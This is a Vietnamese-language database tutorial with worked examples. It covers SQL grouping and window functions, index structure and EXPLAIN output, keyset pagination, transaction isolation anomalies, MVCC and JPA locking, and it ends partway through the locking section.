Yêu cầu: với mỗi khách, đếm số đơn đã thanh toán và tổng tiền, chỉ giữ khách có tổng từ 300 trở lên.
	SELECT c.name, COUNT(*) AS paid_orders, SUM(o.total) AS paid_total
FROM customers c JOIN orders o ON o.customer_id = c.id
WHERE o.status = 'PAID'          -- row filter, runs before grouping
GROUP BY c.id, c.name
HAVING SUM(o.total) >= 300;      -- group filter, runs after grouping



	name
	paid_orders
	paid_total

	An
	1
	300

	Bình
	2
	700



Giải thích: Đi theo đúng thứ tự thực thi logic:
1. FROM ... JOIN ghép mỗi đơn với khách của nó (5 dòng; Chi không có đơn nên không có dòng nào vì đây là INNER JOIN).
1. WHERE o.status = 'PAID' giữ lại đơn 101, 103, 104.
1. GROUP BY tạo hai nhóm: An gồm {101}, Bình gồm {103, 104}.
1. HAVING SUM(o.total) >= 300 xét từng nhóm: An 300, Bình 700, cả hai đều đạt. Nếu đổi thành >= 500 thì chỉ còn Bình.
1. SELECT tính các cột cuối cùng cho mỗi nhóm còn lại.
Window function: top N mỗi nhóm
Đề bài: lấy 3 nhân viên lương cao nhất của mỗi phòng ban. GROUP BY không làm được vì nó gộp mỗi phòng thành một dòng; window function thì giữ nguyên từng dòng và gắn thêm thứ hạng cho mỗi dòng.
	SELECT department_id, name, salary
FROM (
    SELECT e.*,
           -- rank restarts at 1 in each department, highest salary is rank 1
           DENSE_RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) AS rnk
    FROM employees e
) t
WHERE t.rnk <= 3; -- filter in the outer query: WHERE cannot use window functions



Giải thích: PARTITION BY department_id chia dữ liệu thành từng phòng, ORDER BY salary DESC sắp xếp trong mỗi phòng, rồi DENSE_RANK() gán hạng cho từng dòng mà không gộp dòng nào. Query ngoài giữ các dòng có hạng từ 1 đến 3. Ví dụ phòng 10 có lương 5000, 5000, 4000, 3000, 2000: DENSE_RANK cho hạng 1, 1, 2, 3, 4 nên trả về 4 người (đủ 3 mức lương cao nhất); nếu đổi sang ROW_NUMBER (1, 2, 3, 4, 5) thì trả đúng 3 người; RANK (1, 1, 3, 4, 5) cũng trả 3 người. Vì vậy phải hỏi lại yêu cầu "top 3 người" hay "top 3 mức lương" trước khi chọn hàm.
ROW_NUMBER đánh số liên tục kể cả khi bằng nhau (lấy đúng 3 dòng), RANK cho đồng hạng rồi nhảy số (1, 1, 3), DENSE_RANK đồng hạng không nhảy số (1, 1, 2). MySQL chỉ có window function từ 8.0.
Chạy thử window function trên dữ liệu mẫu
Nói gọn: window function là hàm tính trên một "cửa sổ" gồm nhiều dòng liên quan (ví dụ các dòng cùng phòng ban) nhưng vẫn trả về một giá trị cho mỗi dòng, không gộp dòng như GROUP BY. Query dưới đây tính cả ba hàm xếp hạng cạnh nhau trên bảng employees:
	SELECT name, department_id, salary,
       ROW_NUMBER() OVER (PARTITION BY department_id ORDER BY salary DESC) AS rn,
       RANK()       OVER (PARTITION BY department_id ORDER BY salary DESC) AS rk,
       DENSE_RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) AS drk
FROM employees
ORDER BY department_id, salary DESC, id;



	Nhân viên (phòng, lương)
	ROW_NUMBER
	RANK
	DENSE_RANK

	Lan (10, 5000)
	1
	1
	1

	Minh (10, 5000)
	2
	1
	1

	Nga (10, 4000)
	3
	3
	2

	Oanh (10, 3000)
	4
	4
	3

	Phúc (10, 2000)
	5
	5
	4

	Quân (20, 4500)
	1
	1
	1

	Sơn (20, 3500)
	2
	2
	2



Giải thích: Số thứ tự bắt đầu lại từ 1 ở phòng 20 vì PARTITION BY department_id. Lan và Minh cùng 5000: RANK và DENSE_RANK cho cả hai hạng 1; ở người kế tiếp (Nga), RANK nhảy lên 3 (vì đã có 2 người đứng trước) còn DENSE_RANK chỉ lên 2. ROW_NUMBER bắt buộc phân định nên ai là 1, ai là 2 giữa Lan và Minh là không xác định nếu chỉ sắp theo lương; muốn kết quả ổn định giữa các lần chạy, thêm cột phụ: ORDER BY salary DESC, id.
Áp query top 3 ở trên (dùng DENSE_RANK, rnk <= 3) vào dữ liệu này:
	department_id
	name
	salary

	10
	Lan
	5000

	10
	Minh
	5000

	10
	Nga
	4000

	10
	Oanh
	3000

	20
	Quân
	4500

	20
	Sơn
	3500



Phòng 10 trả 4 người vì có 3 mức lương cao nhất là 5000, 4000, 3000; phòng 20 chỉ có 2 người nên trả cả 2. Nếu đổi sang ROW_NUMBER, phòng 10 trả đúng 3 người (Lan, Minh, Nga).
DELETE, TRUNCATE, DROP
	Lệnh
	Bản chất
	Ghi chú

	DELETE
	DML, xóa từng dòng, có WHERE
	Kích hoạt trigger, rollback được, chậm với bảng lớn

	TRUNCATE
	DDL, giải phóng toàn bộ trang dữ liệu
	Không WHERE, không trigger xóa dòng, thường reset AUTO_INCREMENT

	DROP
	DDL, xóa cả cấu trúc bảng
	Mất cả index, constraint



Chi tiết phụ thuộc DB: MySQL/Oracle TRUNCATE gây implicit commit nên không rollback được, nhưng PostgreSQL TRUNCATE là transactional và rollback được; PostgreSQL chỉ reset sequence khi dùng TRUNCATE ... RESTART IDENTITY. TRUNCATE bị chặn nếu bảng đang được foreign key tham chiếu (MySQL) hoặc cần CASCADE (PostgreSQL).
6.2 Index
	NHẮC LẠI KIẾN THỨC
N2.4 đã giới thiệu index như mục lục sách: thay vì lật từng trang (quét toàn bảng), DB tra mục lục để nhảy thẳng tới dòng cần tìm. Primary key và unique tự có index. Mục này đi sâu vào cấu trúc bên trong và cách đọc EXPLAIN.



MySQL InnoDB và PostgreSQL dùng B+Tree làm index mặc định: cây cân bằng, dữ liệu ở lá được sắp xếp và liên kết, nên tìm theo giá trị bằng, tìm theo khoảng và ORDER BY đều hiệu quả với độ phức tạp O(log n). Trong InnoDB, primary key là clustered index (dòng dữ liệu nằm ngay trong lá của cây PK); secondary index lưu giá trị PK, nên tra theo secondary index phải thêm một bước quay về cây PK (lookup). Đây là lý do PK nên ngắn và tăng dần; UUID v4 ngẫu nhiên làm cây bị chia trang liên tục khi insert.
B+Tree minh họa bằng chữ
Hình dưới là index trên orders(created_at) của dữ liệu mẫu, rút gọn để mỗi nút chỉ chứa vài key. Nút trên cùng là gốc, các nút dưới cùng là lá; lá chứa key đã sắp xếp kèm con trỏ tới dòng, và các lá nối với nhau thành một chuỗi.
	                         [ 09-02 08:00 ]                          <- root
                        /               \
  [ 09-01 09:00 | 09-01 10:00 ] <-> [ 09-02 08:00 | 09-02 08:00 | 09-03 07:30 ]   <- leaves
        |             |                   |             |             |
     row 101       row 102             row 103       row 104       row 105



Giải thích: Ba thao tác thường gặp đi trên cây này như sau:
1. Tìm bằng created_at = '2026-09-02 08:00': ở gốc, giá trị cần tìm không nhỏ hơn 09-02 08:00 nên rẽ phải; tới lá thứ hai, đọc được hai dòng 103 và 104. Chỉ đọc 2 nút thay vì cả bảng.
1. Tìm theo khoảng created_at >= '2026-09-01 10:00': seek xuống lá chứa 09-01 10:00, sau đó chỉ việc đi dọc chuỗi lá sang phải cho tới hết khoảng. Đây là lý do B+Tree hợp với BETWEEN, >, <.
1. ORDER BY created_at: lá đã sắp sẵn, đọc lần lượt là có thứ tự, không cần sắp xếp lại.
Trong thực tế mỗi nút là một trang (InnoDB mặc định 16KB) chứa hàng trăm key, nên bảng 10 triệu dòng chỉ cao khoảng 3–4 tầng: tìm một dòng tốn 3–4 lần đọc trang thay vì quét 10 triệu dòng. Với secondary index trong InnoDB, lá không trỏ tới vị trí vật lý mà lưu giá trị PK (ví dụ 103); DB lấy PK đó tra tiếp cây clustered index để lấy đủ các cột, nên một lần tìm thực chất là hai lần đi cây. PK tăng dần thì dòng mới luôn chèn vào lá cuối; PK ngẫu nhiên (UUID v4) chèn vào giữa cây, làm các trang đầy bị tách đôi liên tục.
Composite index và leftmost prefix: index (customer_id, status, created_at) được dùng cho customer_id = ?, customer_id = ? AND status = ?, và cả ORDER BY created_at sau hai điều kiện bằng đó. Không dùng hiệu quả cho điều kiện chỉ có status = ?. Điều kiện khoảng (>, BETWEEN) trên một cột làm các cột phía sau không còn dùng để seek được, nên cột so sánh bằng đặt trước, cột range đặt sau.
Composite index: query nào dùng được và vì sao
Composite index là index trên nhiều cột. Hãy hình dung một cuốn danh bạ sắp theo họ, trong cùng họ sắp theo tên đệm, trong cùng tên đệm sắp theo tên. Tra "họ Nguyễn" rất nhanh; tra "họ Nguyễn, đệm Văn" càng nhanh; nhưng tra "tất cả người tên An" thì phải lật cả cuốn, vì người tên An nằm rải rác khắp các họ. Đó chính là quy tắc leftmost prefix: index chỉ seek được khi điều kiện bắt đầu từ cột trái nhất và đi liên tục sang phải.
Với index idx_orders_cust_status_created (customer_id, status, created_at):
	Điều kiện trong query
	Dùng index?
	Vì sao

	customer_id = 1
	Có
	Là cột trái nhất

	customer_id = 1 AND status = 'PAID'
	Có, seek 2 cột
	Tiền tố liên tục từ trái

	status = 'PAID' AND customer_id = 1
	Có, seek 2 cột
	Thứ tự viết trong WHERE không quan trọng, optimizer tự sắp

	customer_id = 1 AND status = 'PAID' AND created_at >= '2026-09-01'
	Có, cả 3 cột
	Hai cột bằng, cột range nằm cuối

	status = 'PAID'
	Không seek được
	Thiếu cột trái nhất customer_id

	created_at >= '2026-09-01'
	Không seek được
	Thiếu cột trái nhất

	customer_id = 1 AND created_at >= '2026-09-01'
	Chỉ seek theo customer_id
	Thiếu status ở giữa nên created_at chỉ dùng để lọc sau

	customer_id > 1 AND status = 'PAID'
	Chỉ seek theo customer_id
	Range ở cột đầu, các cột sau không seek được

	customer_id = 1 ORDER BY status, created_at
	Có, không cần sort
	Trong cùng customer_id, index đã sắp theo đúng thứ tự đó

	customer_id = 1 AND status = 'PAID' ORDER BY created_at DESC
	Có, không cần sort
	Đọc ngược index

	SELECT status, created_at ... WHERE customer_id = 1
	Có, covering
	Mọi cột cần đều nằm trong index



Giải thích: Tôi đã kiểm chứng bằng EXPLAIN QUERY PLAN trên SQLite: câu status = 'PAID' ra SCAN orders (quét toàn bảng), câu customer_id = 1 AND status = 'PAID' ra SEARCH orders USING INDEX ... (customer_id=? AND status=?), câu chỉ lấy cột trong index ra USING COVERING INDEX. MySQL và PostgreSQL cho kết quả tương tự. Ngoại lệ cần biết: MySQL 8.0.13+ có skip scan, đôi khi dùng được index cho status = 'PAID' khi cột đầu có rất ít giá trị khác nhau; đừng dựa vào nó khi thiết kế index.
Covering index: khi mọi cột query cần đều nằm trong index, DB không cần đọc bảng. MySQL hiện Using index trong EXPLAIN, PostgreSQL hiện Index Only Scan.
Khi nào index bị bỏ qua? Có index nhưng optimizer không dùng được là tình huống rất hay gặp. Các query dưới đây đều lọc trên cột đã có index (orders.created_at, products.name, customers.phone) nhưng vẫn quét toàn bảng, trừ câu đã được viết lại:
	-- Function wraps the column: the index on created_at cannot be used
SELECT * FROM orders WHERE DATE(created_at) = '2026-09-01'; -- DATE() must be computed for every row
-- Rewrite as a range to use the index
SELECT * FROM orders
WHERE created_at >= '2026-09-01' AND created_at < '2026-09-02'; -- range scan on the index
 
-- Leading wildcard: no seek possible on a B-Tree
SELECT * FROM products WHERE name LIKE '%phone'; -- LIKE 'phone%' can still use the index
 
-- phone is VARCHAR but compared to a number: MySQL casts every row, index ignored
SELECT * FROM customers WHERE phone = 912345678; -- fix: phone = '0912345678'



Giải thích: Chạy EXPLAIN cho ba câu "xấu", MySQL đều báo type = ALL (full scan), còn câu viết lại thành khoảng báo type = range. Lý do nằm ở cách B-Tree sắp xếp dữ liệu:
1. Hàm bọc cột: cây index được sắp theo giá trị gốc của created_at, không theo DATE(created_at), nên DB không biết seek vào đâu mà phải tính hàm cho từng dòng. Viết lại thành khoảng nửa mở [00:00 ngày 1, 00:00 ngày 2) thì điều kiện so sánh trực tiếp trên cột, vừa dùng được index vừa đúng với giá trị có giờ phút.
1. Wildcard ở đầu: B-Tree sắp chuỗi theo tiền tố từ trái sang phải. LIKE 'phone%' biết tiền tố nên seek được; LIKE '%phone' không biết ký tự đầu tiên nên phải duyệt hết.
1. Ép kiểu ngầm: khi so cột chuỗi với số, MySQL chuyển giá trị của từng dòng sang số rồi mới so, tương đương với bọc hàm quanh cột nên không seek được. Tệ hơn, '0912345678' và '912345678' đều khớp vì cùng thành một số. Cách sửa là truyền tham số đúng kiểu chuỗi (kể cả khi bind từ Java: dùng String, không dùng Long).
Ngoài ra, index cũng có thể bị bỏ qua khi: cột có độ chọn lọc thấp (optimizer thấy quét bảng rẻ hơn), OR giữa các cột khác nhau, so sánh cột khác collation/charset khi JOIN. Cần tìm theo biểu thức thì dùng functional index (MySQL 8.0.13+, PostgreSQL expression index); tìm kiếm văn bản thì dùng full-text search hoặc Elasticsearch.
EXPLAIN: với MySQL, xem cột type (tệ nhất ALL là full scan, rồi index, range, ref, eq_ref, const), key (index được chọn), rows (ước lượng số dòng quét), Extra (Using filesort, Using temporary là tín hiệu cần xem lại). PostgreSQL dùng EXPLAIN ANALYZE để xem thời gian thực tế, phân biệt Seq Scan, Index Scan, Bitmap Heap Scan.
Đọc EXPLAIN qua ví dụ (MySQL 8)
EXPLAIN là lệnh yêu cầu DB cho xem kế hoạch thực thi (execution plan): nó định đọc bảng nào, bằng index nào, ước lượng bao nhiêu dòng, mà không thực sự chạy query. Giả sử bảng orders có khoảng 1 triệu dòng, chưa có index nào ngoài PK, và màn hình "đơn đã thanh toán mới nhất" chạy câu sau. Phần output dưới đây là của MySQL (định dạng dọc \G), minh họa, không chạy được trên SQLite:
	EXPLAIN SELECT * FROM orders WHERE status = 'PAID' ORDER BY created_at DESC LIMIT 20\G



	           id: 1
  select_type: SIMPLE
        table: orders
         type: ALL
possible_keys: NULL
          key: NULL
      key_len: NULL
          ref: NULL
         rows: 998214
     filtered: 10.00
        Extra: Using where; Using filesort



Giải thích: Đọc từ trên xuống: type: ALL nghĩa là quét toàn bảng; key: NULL là không dùng index nào; rows: 998214 là DB ước lượng phải đọc gần 1 triệu dòng; filtered: 10.00 là chỉ khoảng 10% trong số đó thỏa status = 'PAID'; Using filesort là sau khi lọc phải sắp xếp lại theo created_at trong bộ nhớ hoặc trên đĩa. Nghĩa là để trả 20 dòng, DB đọc 1 triệu dòng và sắp xếp khoảng 100 nghìn dòng.
Thêm index CREATE INDEX idx_orders_status_created ON orders (status, created_at); rồi chạy lại EXPLAIN:
	         type: ref
possible_keys: idx_orders_status_created
          key: idx_orders_status_created
      key_len: 82
          ref: const
         rows: 99821
     filtered: 100.00
        Extra: Backward index scan



Giải thích: type: ref là tra index theo giá trị bằng; key_len: 82 cho biết chỉ cột status được dùng để seek (VARCHAR(20) utf8mb4 = 20 × 4 byte + 2 byte độ dài); ref: const là so với hằng số 'PAID'. Using filesort đã biến mất, thay bằng Backward index scan: DB đọc ngược index vốn đã sắp theo created_at. Cột rows vẫn là 99821 vì nó là ước lượng và không trừ LIMIT; thực tế DB dừng sau khi đọc đủ 20 dòng.
	Cột
	Ý nghĩa
	Dấu hiệu cần xem lại

	type
	Cách truy cập bảng: const, eq_ref, ref, range, index, ALL (từ tốt tới tệ)
	ALL hoặc index trên bảng lớn

	key, possible_keys
	Index được chọn và các index có thể dùng
	key là NULL dù có possible_keys

	key_len
	Số byte của index được dùng, suy ra dùng mấy cột của composite index
	Ngắn hơn kỳ vọng

	rows, filtered
	Ước lượng số dòng đọc, và phần trăm còn lại sau lọc
	rows lớn nhưng filtered thấp

	Extra
	Using index (covering, tốt), Using where, Using filesort, Using temporary
	filesort, temporary trên nhiều dòng



Trên PostgreSQL, EXPLAIN ANALYZE chạy thật query và in cả ước lượng lẫn số thực tế:
	Limit  (cost=0.43..8.10 rows=20 width=40) (actual time=0.031..0.058 rows=20 loops=1)
  ->  Index Scan Backward using idx_orders_status_created on orders
        (cost=0.43..38291.12 rows=99821 width=40) (actual time=0.030..0.054 rows=20 loops=1)
        Index Cond: ((status)::text = 'PAID'::text)
Planning Time: 0.120 ms
Execution Time: 0.075 ms



Giải thích: Mỗi dòng có mũi tên là một bước của plan, đọc từ trong ra ngoài: Index Scan Backward đọc index ngược rồi Limit cắt 20 dòng. cost là chi phí ước lượng (đơn vị tương đối), actual time là thời gian thật tính bằng mili giây, rows= trong ngoặc thứ nhất là ước lượng còn trong ngoặc thứ hai là số thật. Khi hai số rows lệch nhau hàng chục lần, thống kê của bảng đã cũ và cần chạy ANALYZE orders. Vì EXPLAIN ANALYZE chạy thật, với câu UPDATE/DELETE hãy bọc trong BEGIN; ... ROLLBACK;.
Index không miễn phí: mỗi INSERT/UPDATE/DELETE phải cập nhật mọi index liên quan và tốn thêm dung lượng. Đừng index mọi cột; index theo query thực tế, và xóa index không dùng.
Phân trang: offset vs keyset
Màn hình danh sách đơn hàng sắp theo thời gian mới nhất, mỗi trang 20 dòng. Hai câu dưới đây cùng lấy trang thứ 5001, một câu bằng offset và một câu bằng keyset:
	-- Offset: the DB still reads and discards the first 100000 rows
SELECT id, created_at, total FROM orders
ORDER BY created_at DESC, id DESC -- id breaks ties on equal created_at
LIMIT 20 OFFSET 100000;
 
-- Keyset: seek straight to the position via index (created_at, id)
SELECT id, created_at, total FROM orders
WHERE created_at < ? OR (created_at = ? AND id < ?) -- ? = created_at, created_at, id of the last row of the previous page
ORDER BY created_at DESC, id DESC
LIMIT 20;



Giải thích: Với offset, DB phải duyệt theo thứ tự sắp xếp đủ 100020 dòng rồi vứt bỏ 100000 dòng đầu, nên chi phí tăng tuyến tính theo số trang: trang 1 mất vài mili giây, trang 5001 có thể mất vài giây. Với keyset, client gửi lên created_at và id của dòng cuối cùng ở trang trước; nhờ index (created_at, id), DB seek thẳng tới vị trí đó trên cây rồi đọc tiếp 20 dòng, nên trang nào cũng nhanh như trang đầu. Điều kiện OR (created_at = ? AND id < ?) là bắt buộc: nếu chỉ viết created_at < ?, các đơn trùng thời điểm với dòng cuối trang trước sẽ bị bỏ sót. PostgreSQL cho phép viết gọn bằng so sánh bộ giá trị (created_at, id) < (?, ?).
Offset đơn giản, nhảy trang tùy ý được, nhưng càng về sau càng chậm và dữ liệu bị lệch khi có bản ghi mới chèn vào. Keyset (cursor) ổn định và nhanh ở mọi vị trí, nhưng không nhảy thẳng tới trang 50 được; hợp với infinite scroll, API đồng bộ dữ liệu.
Ví dụ phân trang trên dữ liệu mẫu
Lấy danh sách orders mới nhất, mỗi trang 2 dòng. Trang 1 (LIMIT 2) trả về đơn 105 và 104; dòng cuối trang 1 là (created_at = '2026-09-02 08:00', id = 104), client gửi cặp giá trị này làm cursor để lấy trang 2.
	-- Keyset page 2: correct
SELECT id, created_at, total FROM orders
WHERE created_at < '2026-09-02 08:00'
   OR (created_at = '2026-09-02 08:00' AND id < 104)
ORDER BY created_at DESC, id DESC LIMIT 2;
 
-- Keyset page 2: wrong, missing the tie-breaker on id
SELECT id, created_at, total FROM orders
WHERE created_at < '2026-09-02 08:00'
ORDER BY created_at DESC, id DESC LIMIT 2;



	Cách lấy trang 2
	Kết quả
	Đánh giá

	Keyset đúng
	103, 102
	Đúng

	Keyset thiếu id
	102, 101
	Mất đơn 103 vì trùng created_at với 104

	LIMIT 2 OFFSET 2
	103, 102
	Đúng khi dữ liệu không đổi

	LIMIT 2 OFFSET 2 sau khi có đơn 106 mới chèn
	104, 103
	Đơn 104 hiện lại lần hai



Giải thích: Câu keyset thiếu id bỏ sót đơn 103 vì 103 có cùng thời điểm với dòng cuối trang trước nên không thỏa created_at < .... Với offset, nếu giữa lúc người dùng xem trang 1 và trang 2 có đơn 106 mới được tạo, mọi dòng bị đẩy lùi một vị trí, nên trang 2 bắt đầu bằng đơn 104 mà người dùng đã thấy. Keyset không bị lệch vì nó bám theo giá trị của dòng cuối chứ không theo vị trí. Cả bốn kết quả trên đã được chạy thử bằng SQLite.
6.3 Transaction, ACID, isolation và MVCC
	NHẮC LẠI KIẾN THỨC
Transaction gom nhiều lệnh thành một đơn vị "tất cả hoặc không gì cả", và ACID là bốn tính chất của nó (xem N2.4 với ví dụ tăng lương, trừ ngân sách). Trong Spring, transaction thường được mở bằng @Transactional qua proxy (xem 4.5); isolation level đặt được ngay trên annotation, ví dụ @Transactional(isolation = Isolation.REPEATABLE_READ).



1. Atomicity: tất cả hoặc không gì cả; DB dùng undo log để hoàn tác khi rollback hoặc khi khởi động lại sau sự cố.
1. Consistency: dữ liệu luôn thỏa các ràng buộc (PK, FK, UNIQUE, CHECK). Phần lớn là trách nhiệm của thiết kế schema và ứng dụng.
1. Isolation: các transaction đồng thời không thấy trạng thái dở dang của nhau, ở mức do isolation level quy định.
1. Durability: đã commit thì không mất khi sập nguồn, nhờ Write-Ahead Logging: thay đổi được ghi tuần tự vào log (redo log của InnoDB, WAL của PostgreSQL) và fsync xuống đĩa trước khi báo commit; trang dữ liệu được ghi sau. Khi khởi động lại, DB replay log. Với MySQL, innodb_flush_log_at_trx_commit=1 mới đảm bảo durability đầy đủ.
Anomaly và isolation level
1. Dirty read: đọc dữ liệu chưa commit của transaction khác.
1. Non-repeatable read: đọc lại cùng một dòng ra giá trị khác vì transaction khác đã UPDATE và commit.
1. Phantom read: chạy lại cùng điều kiện ra tập dòng khác vì transaction khác INSERT/DELETE.
1. Lost update: hai transaction cùng đọc rồi ghi đè, cập nhật của một bên biến mất.
	Isolation level
	Dirty read
	Non-repeatable read
	Phantom (theo chuẩn SQL)

	READ UNCOMMITTED
	Có thể
	Có thể
	Có thể

	READ COMMITTED
	Không
	Có thể
	Có thể

	REPEATABLE READ
	Không
	Không
	Có thể

	SERIALIZABLE
	Không
	Không
	Không



Bảng trên là chuẩn SQL; cách các DB hiện thực trên thực tế mạnh hơn. MySQL InnoDB mặc định REPEATABLE READ: đọc thường (consistent read) dùng snapshot nên không thấy phantom, còn đọc khóa (SELECT ... FOR UPDATE, UPDATE, DELETE) dùng next-key lock để chặn insert vào khoảng. Nhưng InnoDB RR không chặn lost update kiểu đọc rồi ghi đè từ ứng dụng. PostgreSQL mặc định READ COMMITTED (Oracle, SQL Server cũng vậy); REPEATABLE READ của PostgreSQL là snapshot isolation, không có phantom và sẽ báo lỗi serialization khi hai transaction cùng cập nhật một dòng, còn SERIALIZABLE dùng SSI (có thể vẫn cần retry).
Bốn anomaly qua bảng thời gian
Anomaly là hiện tượng sai lệch dữ liệu xảy ra khi hai transaction chạy xen kẽ nhau. Cách dễ hiểu nhất là đặt hai transaction T1, T2 cạnh nhau và đi từng bước theo thời gian. Các ví dụ dùng bảng accounts có dòng id = 1, balance = 100, và bảng product có dòng id = 1, stock = 10.
Dirty read (chỉ xảy ra ở READ UNCOMMITTED):
	Bước
	T1
	T2
	Kết quả

	1
	BEGIN; UPDATE accounts SET balance = 50 WHERE id = 1;
	
	T1 chưa commit

	2
	
	SELECT balance FROM accounts WHERE id = 1;
	T2 đọc được 50

	3
	ROLLBACK;
	
	balance trở lại 100

	4
	
	Dùng 50 để tính tiếp
	T2 dựa trên giá trị chưa từng tồn tại



Từ READ COMMITTED trở lên, bước 2 đọc được 100 vì chỉ thấy dữ liệu đã commit.
Non-repeatable read (xảy ra ở READ COMMITTED):
	Bước
	T1
	T2
	Kết quả

	1
	
	BEGIN; SELECT balance ... WHERE id = 1;
	T2 đọc 100

	2
	BEGIN; UPDATE accounts SET balance = 70 WHERE id = 1; COMMIT;
	
	Đã commit 70

	3
	
	SELECT balance ... WHERE id = 1;
	T2 đọc 70: cùng câu, cùng transaction, khác giá trị



Ở REPEATABLE READ, bước 3 vẫn đọc 100 vì T2 dùng lại snapshot của lần đọc đầu.
Phantom read (xảy ra ở READ COMMITTED; chuẩn SQL cho phép cả ở REPEATABLE READ):
	Bước
	T1
	T2
	Kết quả

	1
	
	BEGIN; SELECT COUNT(*) FROM orders WHERE customer_id = 1 AND status = 'PAID';
	T2 đếm được 1

	2
	INSERT INTO orders VALUES (106, 1, 'PAID', 90, '2026-09-04 10:00'); COMMIT;
	
	Thêm một đơn PAID

	3
	
	Chạy lại câu COUNT
	T2 đếm được 2: xuất hiện "dòng ma"



Khác non-repeatable read ở chỗ: không dòng cũ nào bị sửa, mà tập dòng thỏa điều kiện thay đổi. REPEATABLE READ của MySQL và PostgreSQL đều trả 1 ở bước 3 nhờ snapshot.
Lost update (xảy ra ở READ COMMITTED và cả REPEATABLE READ của MySQL):
	Bước
	T1
	T2
	Kết quả

	1
	SELECT stock FROM product WHERE id = 1;
	
	T1 đọc 10

	2
	
	SELECT stock FROM product WHERE id = 1;
	T2 cũng đọc 10

	3
	UPDATE product SET stock = 9 WHERE id = 1; COMMIT;
	
	Ứng dụng tính 10 - 1 = 9

	4
	
	UPDATE product SET stock = 9 WHERE id = 1; COMMIT;
	Vẫn là 9, lẽ ra phải là 8



Giải thích: Lost update nguy hiểm vì không DB nào báo lỗi ở READ COMMITTED: cả hai UPDATE đều hợp lệ, chỉ có phép tính "đọc rồi ghi đè" ở tầng ứng dụng là sai. PostgreSQL ở REPEATABLE READ sẽ chặn bước 4 bằng lỗi could not serialize access due to concurrent update. Cách sửa chủ động nằm ở mục "Optimistic vs pessimistic lock" bên dưới: atomic update SET stock = stock - 1, SELECT ... FOR UPDATE, hoặc @Version.
MVCC
Multi-Version Concurrency Control giữ nhiều phiên bản của một dòng. Người đọc nhìn thấy phiên bản phù hợp với snapshot của mình nên đọc không chặn ghi, ghi không chặn đọc; hai transaction cùng ghi một dòng thì vẫn phải chờ khóa. InnoDB dựng lại phiên bản cũ từ undo log; PostgreSQL lưu nhiều bản tuple trong bảng (xmin/xmax) và cần VACUUM dọn. Thời điểm lấy snapshot phụ thuộc isolation level: READ COMMITTED lấy snapshot mới cho mỗi câu lệnh, REPEATABLE READ dùng một snapshot cho cả transaction (InnoDB lấy tại lần đọc đầu tiên, không phải lúc BEGIN). Transaction mở quá lâu làm undo log/tuple cũ không dọn được, DB phình và chậm dần.
Ví dụ: các phiên bản của một dòng
Snapshot là "bức ảnh chụp" trạng thái dữ liệu đã commit tại một thời điểm; transaction đọc theo bức ảnh đó thay vì theo dữ liệu đang thay đổi. Xét dòng product id = 1 qua các thời điểm:
	Thời điểm
	Sự kiện
	Các phiên bản của dòng

	10:00:00
	Trạng thái ban đầu, do trx 100 ghi từ trước
	v1: stock = 10 (đã commit)

	10:00:01
	R1 (REPEATABLE READ) đọc lần đầu, chụp snapshot
	v1

	10:00:05
	Trx 205 UPDATE stock = 9 rồi commit
	v1, v2: stock = 9 (đã commit)

	10:00:08
	Trx 210 UPDATE stock = 7, chưa commit
	v1, v2, v3: stock = 7 (chưa commit)

	10:00:10
	R1 đọc lại; R2 (READ COMMITTED) đọc
	Cả ba phiên bản cùng tồn tại



Giải thích: Lúc 10:00:10, mỗi transaction thấy một giá trị khác nhau, và không ai phải chờ ai:
1. R1 (REPEATABLE READ) vẫn thấy 10 (v1), vì snapshot của nó chụp lúc 10:00:01, trước khi v2 được commit.
1. R2 (READ COMMITTED) chụp snapshot mới cho câu lệnh lúc 10:00:10, thấy 9 (v2). v3 chưa commit nên bị bỏ qua, nhờ vậy không có dirty read.
1. Trx 210 đọc lại dòng của chính nó thì thấy 7 (v3).
1. Một transaction thứ tư muốn UPDATE dòng này thì phải chờ trx 210 commit hoặc rollback, vì ghi và ghi vẫn tranh nhau khóa dòng.
Cách lưu phiên bản khác nhau theo DB: PostgreSQL lưu v1, v2, v3 thành các tuple riêng trong bảng, mỗi tuple ghi xmin (trx tạo ra nó) và xmax (trx thay thế nó), ví dụ v1 có xmin = 100, xmax = 205. InnoDB chỉ giữ bản mới nhất trong trang dữ liệu và dựng lại bản cũ bằng cách lần theo chuỗi undo log. Khi không còn snapshot nào cần v1, VACUUM (PostgreSQL) hoặc purge thread (InnoDB) dọn nó đi. Nếu R1 mở transaction suốt một giờ, v1 và mọi phiên bản sinh ra sau đó đều phải giữ lại, đó là lý do transaction dài làm DB phình to.
Optimistic vs pessimistic lock
Bài toán trừ kho: nhiều request cùng đọc stock rồi ghi lại giá trị mới, dễ gây lost update. Đoạn code dưới đây khai báo cả hai cơ chế khóa trên cùng entity Product để so sánh: @Version cho optimistic lock, @Lock trên repository cho pessimistic lock.
	@Entity
public class Product {
    @Id
    @GeneratedValue(strategy = GenerationType.SEQUENCE)
    private Long id;
    private int stock;
 
    @Version // Hibernate increments version after each successful UPDATE
    private Long version; // Hibernate: UPDATE ... WHERE id = ? AND version = ?
}
 
public interface ProductRepository extends JpaRepository<Product, Long> {
    @Lock(LockModeType.PESSIMISTIC_WRITE) // generates SELECT ... FOR UPDATE
    @Query("select p from Product p where p.id = :id")
    Optional<Product> findByIdForUpdate(@Param("id") Long id); // row stays locked until the transaction ends
}



Giải thích: Giả sử sản phẩm id 1 đang có stock = 5, version = 3, và hai transaction T1, T2 cùng muốn trừ 1.
1. Optimistic (@Version): T1 và T2 đều đọc được stock = 5, version = 3. T1 commit trước, Hibernate sinh UPDATE product SET stock = 4, version = 4 WHERE id = 1 AND version = 3, cập nhật 1 dòng. T2 commit sau với cùng điều kiện version = 3, nhưng version đã thành 4 nên UPDATE ảnh hưởng 0 dòng; Hibernate ném OptimisticLockException (Spring bọc thành ObjectOptimisticLockingFailureException) và T2 rollback. Không ai bị chờ, nhưng ứng dụng phải đọc lại rồi retry hoặc báo cho user.
